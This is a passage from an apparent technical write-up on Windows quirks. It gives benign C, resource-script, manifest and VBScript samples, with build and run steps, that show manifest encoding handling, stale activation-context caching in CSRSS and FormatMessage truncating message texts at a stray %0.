		            L"CURSOR", L"BITMAP", L"ICON", L"MENU", L"DIALOG", L"STRINGTABLE",
		            L"FONTDIR", L"FONT", L"ACCELERATOR", L"RCDATA", L"MESSAGETABLE", L"GROUP_CURSOR",
		            L"NAMETABLE", L"GROUP_ICON", L"MENUEX", L"VERSION", L"DLGINCLUDE", L"DIALOGEX",
		            L"PLUGPLAY", L"VXD", L"ANICURSOR", L"ANIICON", L"HTML", L"MANIFEST"};
VOID	WINAPI	Resource(HANDLE                   hConsole,
		         IMAGE_RESOURCE_DIRECTORY *lpRoot,
		         IMAGE_RESOURCE_DIRECTORY *lpLevel,
		         DWORD                    dwLevel)	// 0 = Type, 1 = Id, 2 = Language
{
	DWORD	dwEntry;
	IMAGE_RESOURCE_DIRECTORY_ENTRY	*lpEntry;
	IMAGE_RESOURCE_DIR_STRING_U	*lpUnicode;
	IMAGE_RESOURCE_DATA_ENTRY	*lpData;
	for (lpEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *) (lpLevel + 1),
	     dwEntry = 0UL;
	     dwEntry < lpLevel->NumberOfNamedEntries + lpLevel->NumberOfIdEntries;
	     dwEntry++)
	{
		if ((lpEntry[dwEntry].Name & IMAGE_RESOURCE_NAME_IS_STRING) == IMAGE_RESOURCE_NAME_IS_STRING)
		{
			lpUnicode = (IMAGE_RESOURCE_DIR_STRING_U *) ((BYTE *) lpRoot + (lpEntry[dwEntry].Name ^ IMAGE_RESOURCE_NAME_IS_STRING));
			PrintConsole(hConsole,
			             L"\t\t\t\tName   = %ls\n" + 2 - dwLevel,
			             lpUnicode->NameString, lpUnicode->Length);
		}
		else if (dwLevel > 1UL)
			PrintConsole(hConsole,
			             L"\t\t\t\tLanguage = %hu\n",
			             lpEntry[dwEntry].Id);
		else if (dwLevel > 0UL)
			PrintConsole(hConsole,
			             L"\t\t\tId     = %hu\n",
			             lpEntry[dwEntry].Id);
		else if (lpEntry[dwEntry].Id < sizeof(szType) / sizeof(*szType))
			PrintConsole(hConsole,
			             L"\t\tType   = %hu (%ls)\n",
			             lpEntry[dwEntry].Id, szType[lpEntry[dwEntry].Id]);
		else
			PrintConsole(hConsole,
			             L"\t\tType   = %hu\n",
			             lpEntry[dwEntry].Id);
		PrintConsole(hConsole,
		             L"\t\t\t\tOffset = 0x%08lX\n" + 2 - dwLevel,
		             lpEntry[dwEntry].OffsetToData);
		if ((lpEntry[dwEntry].OffsetToData & IMAGE_RESOURCE_DATA_IS_DIRECTORY) != IMAGE_RESOURCE_DATA_IS_DIRECTORY)
		{
			lpData = (IMAGE_RESOURCE_DATA_ENTRY *) ((BYTE *) lpRoot + lpEntry[dwEntry].OffsetToData);
			PrintConsole(hConsole,
			             L"\t\t\t\t\tAddress   = 0x%08lX\n"
			             L"\t\t\t\t\tSize      = %lu\n"
			             L"\t\t\t\t\tCode Page = %lu\n"
			             L"\t\t\t\t\tReserved  = 0x%08lX\n",
			             lpData->OffsetToData, lpData->Size, lpData->CodePage, lpData->Reserved);
		}
		else
			Resource(hConsole,
			         lpRoot,
			         (IMAGE_RESOURCE_DIRECTORY *) ((BYTE *) lpRoot + (lpEntry[dwEntry].OffsetToData ^ IMAGE_RESOURCE_DATA_IS_DIRECTORY)),
			         dwLevel + 1UL);
	}
}
extern	const	IMAGE_DOS_HEADER	__ImageBase;
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	IMAGE_RESOURCE_DIRECTORY	*lpResource;
	IMAGE_NT_HEADERS	*lpPE = (IMAGE_NT_HEADERS *) ((BYTE *) &__ImageBase + __ImageBase.e_lfanew);
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if ((lpPE->Signature != IMAGE_NT_SIGNATURE)
		 || (lpPE->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_RESOURCE)
		 || (lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress == 0UL)
		 || (lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size == 0UL))
			dwError = ERROR_BAD_EXE_FORMAT;
		else
		{
			lpResource = (IMAGE_RESOURCE_DIRECTORY *) ((BYTE *) &__ImageBase + lpPE->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress);
			PrintConsole(hError,
			             L"Resource Directory:\n"
			             L"\tCharacteristics = 0x%08lX\n"
			             L"\tTime/Date Stamp = 0x%08lX\n"
			             L"\tVersion         = %hu.%hu\n"
			             L"\tNamed Entries   = %hu\n"
			             L"\tUnnamed Entries = %hu\n"
			             L"\tEntries:\n",
			             lpResource->Characteristics,
			             lpResource->TimeDateStamp,
			             lpResource->MajorVersion,
			             lpResource->MinorVersion,
			             lpResource->NumberOfNamedEntries,
			             lpResource->NumberOfIdEntries);
			Resource(hError, lpResource, lpResource, 0UL);
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(51) : warning C4018: '<' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Create the text file blunder.xml with the following
            content next to the console application blunder.exe
            built in step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' /> Embed the
            application manifest
            blunder.xml created in step 3. in the console
            application blunder.exe built in step 2.:
        
MT.EXE /Manifest blunder.xml /OutputResource:blunder.exeNote: the Manifest Tool
MT.exe
            is shipped with the Windows Software Development Kit.
        Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
 Execute the console application blunder.exe modified in
            step 4. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Resource Directory: Characteristics = 0x00000000 Time/Date Stamp = 0x00000000 Version = 4.0 Named Entries = 0 Unnamed Entries = 1 Entries: Type = 24 (MANIFEST) Offset = 0x80000018 Id = 1 Offset = 0x80000030 Language = 1033 Offset = 0x00000048 Address = 0x00003058 Size = 84 Code Page = 1252 Reserved = 0x00000000 0OUCH¹: although application manifests must be encoded either in UTF-8 with an optional byte order mark or in UTF-16 with a mandatory byte order mark to indicate their endianness, the Manifest Tool
MT.exe emits
            code page identifier
            1252 alias Windows-1252 instead of 1200, 1201 or 65001
            alias CP_UTF8 in the MANIFEST resource
            metadata!
         OUCH²: additionally it emits
            language identifier
            1033 alias
            MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH)
            instead of the proper language identifier 0 alias
            MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
            and the time stamp 0x0 instead of the current date and time in the
            resource directory metadata!
        
 Caveat: contrary to other resource types, especially
            dialogues
            dialogues,
            MENU resource
            menues,
            messages
            and
            strings,
            which are selected at runtime to match the users’ preferred
            language, Windows’ module loader always uses the
            first MANIFEST resource present in the
            .rsrc section!
        
 Link the object file blunder.obj generated in
            step 2. with the resource file blunder.res
            generated in step 12. of
            Blunder № 114:
        
LINK.EXE /LINK blunder.obj blunder.res kernel32.lib user32.lib
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
Resource Directory: Characteristics = 0x00000000 Time/Date Stamp = 0x00000000 Version = 4.0 Named Entries = 0 Unnamed Entries = 1 Entries: Type = 6 (STRINGTABLE) Offset = 0x80000018 Id = 1 Offset = 0x80000038 Language = 1033 Offset = 0x00000068 Address = 0x00003090 Size = 552 Code Page = 0 Reserved = 0x00000000 Id = 2 Offset = 0x80000050 Language = 1033 Offset = 0x00000078 Address = 0x000032B8 Size = 524 Code Page = 0 Reserved = 0x00000000 0OUCH³: the Resource Compiler
RC.exe also fails to set the
            proper code page identifier 1200 alias
            UTF-16LE
            as well as the time stamp and sets the language identifier 1033
            alias
            MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH)!
        An application manifest is an XML file that describes and identifies the shared and private side-by-side assemblies that an application should bind to at run time. These should be the same assembly versions that were used to test the application. Application manifests may also describe metadata for files that are private to the application.The MSDN article Character Encoding and Decoding in XML specifies:For a complete listing of the XML schema, see […]
Parsers can read in documents written in ISO-8859-1, Big-5, or Shift-JIS, but the processing rules treat everything as Unicode. While parsers can read documents, there are some limitations to auto-detecting character encodings. For example, 8-bit ASCII text is acceptable UTF-8, but UTF-8 is more than 8-bit ASCII text. For reliable processing, XML documents that use character encodings other than UTF-8 or UTF-16. must include an encoding declaration in the XML declaration. This makes it possible for a parser to read the characters correctly or report errors when it cannot process an encoding.XML Declaration [XML Standards] XML for the uninitiatedBecause the XML declaration is written in basic ASCII text, parsers can read its contents even if the document is in a very different encoding. The encoding declaration significantly increases the likelihood that documents in encodings other than UTF-8 and UTF-16. will be interpreted correctly.
The following is an example of a simple XML declaration:
This XML declaration example shows the use of optional attributes, encoding and standalone:<?xml version="1.0"?>The encoding attribute must be a legal character encoding scheme. The standalone attribute is a string whose values can be yes or no.<?xml version="1.0" encoding="ISO-8859-1" standalone="yes"?>
 Create the text file blunder.rc with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define RT_MANIFEST	24
#define CREATEPROCESS_MANIFEST_RESOURCE_ID	1
#define ISOLATIONAWARE_MANIFEST_RESOURCE_ID	2
CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST
BEGIN
#ifndef BLUNDER
    L"\xFEFF"
#ifndef blunder
    L"<?xml version='1.0' encoding='UTF-16LE' standalone='yes' ?>\n"
#endif
    L"<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />\n"
#elif BLUNDER == 1
    L"\xFFFE" // UTF-16BE
#ifndef blunder
    L"\x3C00\x3F00\x7800\x6D00\x6C00\x2000\x7600\x6500\x7200\x7300\x6900\x6F00\x6E00\x3D00\x2700\x3100\x2E00\x3000\x2700\x2000\x6500\x6E00\x6300\x6F00\x6400\x6900\x6E00\x6700\x3D00\x2700\x5500\x5400\x4600\x2D00\x3100\x3600\x4200\x4500\x2700\x2000\x7300\x7400\x6100\x6E00\x6400\x6100\x6C00\x6F00\x6E00\x6500\x3D00\x2700\x7900\x6500\x7300\x2700\x2000\x3F00\x3E00\x0A00"
#endif
    L"\x3C00\x6100\x7300\x7300\x6500\x6D00\x6200\x6C00\x7900\x2000\x6D00\x6100\x6E00\x6900\x6600\x6500\x7300\x7400\x5600\x6500\x7200\x7300\x6900\x6F00\x6E00\x3D00\x2700\x3100\x2E00\x3000\x2700\x2000\x7800\x6D00\x6C00\x6E00\x7300\x3D00\x2700\x7500\x7200\x6E00\x3A00\x7300\x6300\x6800\x6500\x6D00\x6100\x7300\x2D00\x6D00\x6900\x6300\x7200\x6F00\x7300\x6F00\x6600\x7400\x2D00\x6300\x6F00\x6D00\x3A00\x6100\x7300\x6D00\x2E00\x7600\x3100\x2700\x2000\x2F00\x3E00\x0A00"
#elif BLUNDER == 2
#ifndef blunder
    "<?xml version='1.0' encoding='US-ASCII' standalone='yes' ?>\n"
#endif
    "<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />\n"
#elif BLUNDER == 3
    "<?xml version='1.0' encoding='ISO-8859-1' standalone='yes' ?>\n"
    "<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />\n"
#else
    "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>\n"
    "<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />\n"
#endif
END Generate the resource file blunder.res from the file
            blunder.rc created in step 1. with the
            application manifest
            encoded in Windows’ native
            UTF-16LE
            character set:
        
RC.EXE /L 0 /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
 Create the text file blunder.c with the following
            content next to the files blunder.* created in
            steps 1. and 2.:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
int	wmainCRTStartup(void)
{
	return -1;
} Compile the source file blunder.c created in
            step 3. and link its object file blunder.obj with
            the resource file blunder.res generated in
            step 2.:
        
SET CL=/W4 /X /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c blunder.resNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj blunder.res
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
 
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0150002 (NT: 0xc0150002 STATUS_SXS_CANT_GEN_ACTCTX) -- 3222601730 (-1072365566) Error message text: Windows was not able to process the application binding information. Please refer to your System Event Log for further information. CertUtil: -error command completed successfully.OUCH¹: despite the highlighted statements of the MSDN article cited above, the module loader fails with
NTSTATUS
            0xC0150002
            alias STATUS_SXS_CANT_GEN_ACTCTX when the
            XML
            declaration of an
            application manifest
            or a
            side-by-side manifest
            specifies a valid encoding other than
            UTF-8
            or
            UTF-16!
         Generate the resource file blunder.res from the file
            blunder.rc created in step 1., now with the
            application manifest
            encoded in the
            ISO-8859-1
            character set:
        
RC.EXE /D BLUNDER /L 0 /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
 Link the object file blunder.obj generated in
            step 4. with the resource file blunder.res
            generated in step 6.:
        
LINK.EXE blunder.obj blunder.res
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the console application blunder.exe built in
            step 7. and evaluate its exit code:
        
 
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0150002 (NT: 0xc0150002 STATUS_SXS_CANT_GEN_ACTCTX) -- 3222601730 (-1072365566) Error message text: Windows was not able to process the application binding information. Please refer to your System Event Log for further information. CertUtil: -error command completed successfully.
 Generate the resource file blunder.res from the file
            blunder.rc created in step 1., now with the
            application manifest
            encoded in the
            ASCII
            character set:
        
RC.EXE /D BLUNDER=2 /L 0 /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
 Link the object file blunder.obj generated in
            step 4. with the resource file blunder.res
            generated in step 9.:
        
LINK.EXE blunder.obj blunder.res
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the console application blunder.exe built in
            step 10. and evaluate its exit code:
        
 
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0150002 (NT: 0xc0150002 STATUS_SXS_CANT_GEN_ACTCTX) -- 3222601730 (-1072365566) Error message text: Windows was not able to process the application binding information. Please refer to your System Event Log for further information. CertUtil: -error command completed successfully.
 Generate the resource file blunder.res from the file
            blunder.rc created in step 1., now with the
            application manifest
            encoded in the
            UTF-16BE
            character set:
        
RC.EXE /D BLUNDER=3 /L 0 /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
 Link the object file blunder.obj generated in
            step 4. with the resource file blunder.res
            generated in step 12.:
        
LINK.EXE blunder.obj blunder.res
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the console application blunder.exe built in
            step 13. and evaluate its exit code:
        
 
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc0150002 (NT: 0xc0150002 STATUS_SXS_CANT_GEN_ACTCTX) -- 3222601730 (-1072365566) Error message text: Windows was not able to process the application binding information. Please refer to your System Event Log for further information. CertUtil: -error command completed successfully.
 Generate the resource file blunder.res from the file
            blunder.rc created in step 1., now with the
            application manifest
            encoded in the
            UTF-8
            character set:
        
RC.EXE /D BLUNDER=0 /L 0 /X blunder.rc
Microsoft (R) Windows (R) Resource Compiler Version 6.1.7600.16385 Copyright (C) Microsoft Corporation. All rights reserved.
 Link the object file blunder.obj generated in
            step 4. with the resource file blunder.res
            generated in step 15.:
        
LINK.EXE blunder.obj blunder.res
Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved.
 Execute the console application blunder.exe built in
            step 16. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-1
 Create the text file blunder.vbs with the following
            content in an arbitrary, preferable empty directory:
        
Rem Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
With WScript.CreateObject("Microsoft.XMLDOM")
    .AppendChild .CreateProcessingInstruction("xml", "version='1.0' encoding='" & WScript.Arguments.Unnamed.Item(0) & "' standalone='yes'")
    .AppendChild .CreateComment(" (C)opyright 2004-2025, Stefan Kanthak ")
    With .AppendChild(.CreateElement("assembly"))
        .SetAttribute "manifestVersion", "1.0"
        .SetAttribute "xmlns", "urn:schemas-microsoft-com:asm.v1"
        .AppendChild .OwnerDocument.CreateTextNode(vbNewLine)
        With .AppendChild(.OwnerDocument.CreateElement("assemblyIdentity"))
            .SetAttribute "name", "Blunder"
            .SetAttribute "processorArchitecture", "*"
            .SetAttribute "type", "win32"
            .SetAttribute "version", "0.8.1.5"
        End With
        .AppendChild .OwnerDocument.CreateTextNode(vbNewLine)
        With .AppendChild(.OwnerDocument.CreateElement("description"))
            .NodeTypedValue = "Blunder Manifest Falsification"
        End With
        .AppendChild .OwnerDocument.CreateTextNode(vbNewLine)
    End With
    .Save "blunder.xml"
'   WScript.Echo .URL
'   WScript.Echo .XML
End With Execute the
            VBScript
            blunder.vbs created in step 18. to generate an
            application manifest
            with selected encoding in well-formed
            XML and (try
            to) validate it:
        
FOR %? IN (ASCII ISO-8859-1 UTF-8 UTF-16 UTF-16BE UTF-16LE Windows-1252) DO @( CScript.exe //NOLOGO blunder.vbs %? && MT.exe /MANIFEST blunder.xml /NOLOGO /VALIDATE_MANIFEST)
blunder.xml : general error c1010070: Failed to load and parse the manifest. Switch from current encoding to specified encoding not supported. blunder.xml : general error c1010070: Failed to load and parse the manifest. Switch from current encoding to specified encoding not supported. blunder.xml : general error c10100b7: Attribute "processorArchitecture" is wildcarded in the definition identity. blunder.xml : general error c10100b7: Attribute "processorArchitecture" is wildcarded in the definition identity. blunder.xml : general error c1010070: Failed to load and parse the manifest. Switch from current encoding to specified encoding not supported. blunder.xml : general error c1010070: Failed to load and parse the manifest. Switch from current encoding to specified encoding not supported. blunder.xml : general error c1010070: Failed to load and parse the manifest. Switch from current encoding to specified encoding not supported.OUCH²: the Manifest Tool
MT.exe accepts only
            UTF-8
            and
            UTF-16
            encoded
            application manifest,
            it rejects even
            UTF-16BE
            and
            UTF-16LE!
            INFO: XML Encoding and DOM Interface Methods
         OUCH³: with /VALIDATE_MANIFEST it
            also rejects the wildcarded processorArchitecture
            attribute which it otherwise but accepts!
        
CSRSS.exe!
            Troubleshooting C/C++ Isolated Applications and Side-by-side Assemblies
            Using Side-by-Side Assemblies as a Resource
            Specifying a Default Activation Context
            CreateActCtx()
            ACTCTX
        Note: while Microsoft fixed most of the dangerous misbehaviour with patches for the vulnerabilities CVE-2019-0735, CVE-2022-29104, CVE-2022-22047, CVE-2022-37987, CVE-2022-37989 and CVE-2022-41073, the braindead misbehaviour is still present!
portable executableimage file, either an application or a DLL, it evaluates the modules’ activation context which the Client Server Runtime Process
CSRSS.exe
            generates on behalf of the module loader from an optional, external
            or internal application or
            assembly manifest
            – for image files without embedded or associated
            manifest
            it provides a system default activation context.
         Since generation of an
            activation context
            can be an expensive operation which involves numerous disk accesses,
            the Client Server Runtime Process
            CSRSS.exe
            maintains a cache for the
            activation contexts
            of successfully loaded image files, tagged with their path name,
            their last write time stamp and their 128-bit
            NTFS
            file identifier – but without any attribute
            of the external
            manifest
            file!
        
Note: on Windows Vista and later versions this blunder can be shown with an UAC manifest – on Windows XP and later versions this blunder can be shown by loading a dependent DLL from an arbitrary path.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2019-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	ExitProcess(GetACP() == GetOEMCP());
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Create an empty file
            blunder.exe.manifest next to the console application
            blunder.exe built in step 2. and (try to) execute
            the latter a first time:
        
COPY NUL: blunder.exe.manifest .\blunder.exe
1 file(s) copied. The system cannot execute the specified program.Note: the empty external application manifest
blunder.exe.manifest shows the expected and intended
            effect – it lets the module loader fail to load the console
            application blunder.exe!
         Remove the empty external
            application manifest
            blunder.exe.manifest, then execute the console
            application blunder.exe and evaluate its exit code:
        
ERASE blunder.exe.manifest .\blunder.exe ECHO %ERRORLEVEL%
0Note: without (external) application manifest the console application
blunder.exe uses the
            legacyANSI and OEM code pages – the exit code 0 alias
FALSE shows that their
            code page identifiers
            (typically 1252 and 850) differ.
         Create the external
            application manifest
            blunder.exe.manifest with the following content next to
            the console application blunder.exe built in
            step 2.:
        
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2025, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
    <application xmlns='urn:schemas-microsoft-com:asm.v3'>
        <windowsSettings>
            <activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
        </windowsSettings>
    </application>
    <assemblyIdentity name='Blunder' processorArchitecture='*' type='win32' version='0.8.1.5' />
    <compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
        <application>
            <supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
        </application>
    </compatibility>
    <description>Blunder Console Application</description>
</assembly> Execute the console application blunder.exe built in
            step 2. again and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
            OUCH¹: the
            application manifest
            blunder.exe.manifest is not evaluated
            and shows no effect – since an activation context is present
            in the cache and its tags match the image file the module loader
            fails to detect any change of an external
            manifest
            file!
         Rename the console application blunder.exe and its
            external
            application manifest
            blunder.exe.manifest to blunder.com and
            blunder.com.manifest respectively, then execute the
            renamed console application blunder.com and evaluate
            its exit code:
        
RENAME blunder.exe blunder.com RENAME blunder.exe.manifest blunder.com.manifest .\blunder.com ECHO %ERRORLEVEL%
1Note: the external application manifest
blunder.com.manifest shows the expected and intended
            effect now – the console application blunder.com
            returns 1 alias TRUE since it uses
            code page
            65001 alias CP_UTF8 as
            ANSI
            and OEM
            code page!
         Overwrite the external
            application manifest
            blunder.com.manifest with an empty file, then execute
            the console application blunder.com again and evaluate
            its exit code:
        
COPY /Y NUL: blunder.com.manifest .\blunder.com ECHO %ERRORLEVEL%
        1 file(s) copied.
1
            OUCH²: contrary to step 3. the (empty)
            external
            application manifest
            is not evaluated and shows again no effect –
            due to the cached
            activation context
            the console application blunder.com yields the same
            exit code as before!
         Remove the empty external
            application manifest
            blunder.com.manifest, then execute the console
            application blunder.com a last time and evaluate its
            exit code:
        
ERASE blunder.com.manifest .\blunder.com ECHO %ERRORLEVEL%
1
            OUCH³: absence of the external
            application manifest
            also shows no effect – due to the cached
            activation context
            the console application blunder.com yields the same
            exit code as before!
        Messages are defined in a message text file. The message compiler assigns numbers to each message, and generates a C/C++ include file which the application can use to access a message using a symbolic constant.The documentation for the Win32 function[…]
You can specify the following escape sequences for formatting message text for use by the event viewer or your application. The percent sign character (%) begins all escape sequences. Any other character following a percent sign is displayed without the percent sign.
%n[!format_specifier!]
Describes an insert. Each insert is an entry in the Arguments array in the FormatMessage function. The value of n can be a number between 1 and 99. The format specifier is optional. If no value is specified, the default is !s!. For information about the format specifier, see wsprintf.
The format specifier can use * for either the precision or the width. When specified, they consume inserts numbered n+1 and n+2.
%0
Terminates a message text line without a trailing newline character. This can be used to build a long line or terminate a prompt message without a trailing newline character.
%.
Generates a single period. This can be used to display a period at the beginning of a line, which would otherwise terminate the message text.
%!
Generates a single exclamation point. This can be used to specify an exclamation point immediately after an insert.
%%
Generates a single percent sign.
%n
Generates a hard line break when it occurs at the end of a line. This can be used with FormatMessage to ensure that the message fits a certain width.
%b
Generates a space character. This can be used to ensure an appropriate number of trailing spaces on a line.
%r
Generates a hard carriage return without a trailing newline character.
FormatMessage()
            specifies likewise in its Remarkssection:
Formats a message string. The function requires a message definition as input. The message definition can come from a buffer passed into the function. It can come from a message table resource in an already-loaded module. Or the caller can ask the function to search the system's message table resource(s) for the message definition. The function finds the message definition in a message table resource based on a message identifier and a language identifier. The function copies the formatted message text to an output buffer, processing any embedded insert sequences if requested.The MSDN article System Error Codes (500-999) documents but message texts with[…]
Escape sequence Meaning %0 Terminates a message text line without a trailing new line character. This escape sequence can be used to build up long lines or to terminate the message itself without a trailing new line character. It is useful for prompt messages. %n!format string! Identifies an insert. The value of n can be in the range from 1 through 99. The format string (which must be surrounded by exclamation marks) is optional and defaults to !s! if not specified. […] 
%0 escape sequences:
        ERROR_UNHANDLED_EXCEPTIONWin32 Error Codes574 (0x23E)
{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx.
[…]
ERROR_SYSTEM_PROCESS_TERMINATED
591 (0x24F)
{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down.
The MSDN article NTSTATUS Values documents such malformed message texts too:
Return value/code Description … … 0xC0000005 
STATUS_ACCESS_VIOLATIONThe instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. 0xC0000006 
STATUS_IN_PAGE_ERRORThe instruction at 0x%08lx referenced memory at 0x%08lx. The required data was not placed into memory because of an I/O error status of 0x%08lx. … … 0xC0000144 
STATUS_UNHANDLED_EXCEPTION{Application Error} The exception %s (0x%08lx) occurred in the application at location 0x%08lx. … … 0xC000021A 
STATUS_SYSTEM_PROCESS_TERMINATED{Fatal System Error} The %hs system process terminated unexpectedly with a status of 0x%08x (0x%08x 0x%08x). The system has been shut down. … … 0xC000070A 
STATUS_THREADPOOL_HANDLE_EXCEPTIONStatus 0x%08x was returned, waiting on handle 0x%x for wait 0x%p, in waiter 0x%p. 0xC000070B 
STATUS_THREADPOOL_SET_EVENT_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to Set event(0x%p) failed with status 0x%08x. 0xC000070C 
STATUS_THREADPOOL_RELEASE_SEMAPHORE_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to ReleaseSemaphore(0x%p, %d) failed with status 0x%08x. 0xC000070D 
STATUS_THREADPOOL_RELEASE_MUTEX_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to ReleaseMutex(%p) failed with status 0x%08x. 0xC000070E 
STATUS_THREADPOOL_FREE_LIBRARY_ON_COMPLETION_FAILEDAfter a callback to 0x%p(0x%p), a completion call to FreeLibrary(%p) failed with status 0x%08x. 
 Start the Command Processor
            Cmd.exe, then execute
            the following four command lines to show the blunder:
        
NET.EXE HELPMSG 574 CERTUTIL.EXE /ERROR 574 NET.EXE HELPMSG 591 CERTUTIL.EXE /ERROR 591Note: the command lines can be copied and pasted as block into a Command Processor window.
{Application Error}
The exception s (0x
0x23e (WIN32: 574 ERROR_UNHANDLED_EXCEPTION) -- 574 (574)
Error message text: {Application Error}
The exception %s (0x
CertUtil: -error command completed successfully.
{Fatal System Error}
The hs system process terminated unexpectedly with a status of 0x
0x24f (WIN32: 591 ERROR_SYSTEM_PROCESS_TERMINATED) -- 591 (591)
Error message text: {Fatal System Error}
The %hs system process terminated unexpectedly with a status of 0x
CertUtil: -error command completed successfully.
            OUCH¹: message texts defined with a stray
            %0, for example in 0x%08lX, are truncated
            when retrieved with the
            FormatMessage()
            function!
        Execute the following two command lines to show proper behaviour:
CERTUTIL.EXE /ERROR 0xC0000144 CERTUTIL.EXE /ERROR 0xC000021A
